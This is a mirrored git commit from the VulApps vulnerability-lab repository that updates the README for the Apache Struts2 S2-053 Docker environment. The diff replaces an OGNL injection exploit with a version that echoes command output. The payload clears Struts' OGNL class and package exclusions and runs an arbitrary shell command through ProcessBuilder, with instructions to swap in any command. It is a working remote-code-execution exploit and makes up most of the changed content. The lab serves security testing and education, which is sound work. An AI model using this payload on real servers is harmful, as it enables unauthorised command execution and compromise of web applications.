mirror of
https://github.com/Medicean/VulApps.git
synced 2025-05-06 10:42:00 +00:00
(Fix Vul: Struts2) 更新为可回显Exp #12
This commit is contained in:
parent
e4e324d2e7
commit
a35d9eab27
@ -35,13 +35,15 @@ $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-053
|
|||||||
|
|
||||||
#### Exp
|
#### Exp
|
||||||
|
|
||||||
命令执行 Exp:
|
命令执行 Exp(有回显):
|
||||||
|
|
||||||
```
|
```
|
||||||
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
|
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
|
||||||
```
|
```
|
||||||
|
|
||||||
替换Exp中的 `(#cmd='/usr/bin/touch /tmp/vuln')` 中的命令即可
|
替换Exp中的 `(#cmd='whoami')` 中的命令即可
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
### 修复建议
|
### 修复建议
|
||||||
|
|
||||||
|
BIN
s/struts2/s2-053/exp-1.png
Normal file
BIN
s/struts2/s2-053/exp-1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 86 KiB |
Loading…
x
Reference in New Issue
Block a user